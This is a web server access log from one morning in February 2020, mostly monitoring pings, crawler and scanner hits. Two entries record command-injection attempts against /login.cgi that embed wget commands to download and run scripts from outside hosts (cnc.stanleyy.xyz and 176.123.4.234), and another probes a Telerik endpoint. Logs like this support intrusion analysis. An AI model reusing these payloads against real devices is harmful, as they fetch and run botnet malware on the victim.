103.253.153.84 - - [25/Feb/2020:06:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.72.223.87 - - [25/Feb/2020:06:59:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:07:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.49.236.85 - - [25/Feb/2020:07:02:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:07:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.127.117.29 - - [25/Feb/2020:07:07:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
103.90.205.47 - - [25/Feb/2020:07:07:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:07:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.120.222 - - [25/Feb/2020:07:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:07:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.222.171.100 - - [25/Feb/2020:07:16:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:07:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [25/Feb/2020:07:22:17 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:07:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:07:27:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:07:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.57.182.124 - - [25/Feb/2020:07:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:07:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.61.100.106 - - [25/Feb/2020:07:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:07:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:07:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.26.108.98 - - [25/Feb/2020:08:00:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:08:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.150 - - [25/Feb/2020:08:06:12 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.150 - - [25/Feb/2020:08:06:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:08:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
24.90.76.121 - - [25/Feb/2020:08:12:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:08:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:08:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:08:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.47.223.198 - - [25/Feb/2020:08:19:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.31 - - [25/Feb/2020:08:26:04 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.70.31 - - [25/Feb/2020:08:26:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:08:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.188.198 - - [25/Feb/2020:08:32:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
151.234.87.233 - - [25/Feb/2020:08:32:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.144.29 - - [25/Feb/2020:08:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [25/Feb/2020:08:35:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
188.212.190.128 - - [25/Feb/2020:08:35:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.239.30.252 - - [25/Feb/2020:08:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.47.50.113 - - [25/Feb/2020:08:54:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.129.23.182 - - [25/Feb/2020:08:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:08:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:08:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.162.202.158 - - [25/Feb/2020:09:01:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:09:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
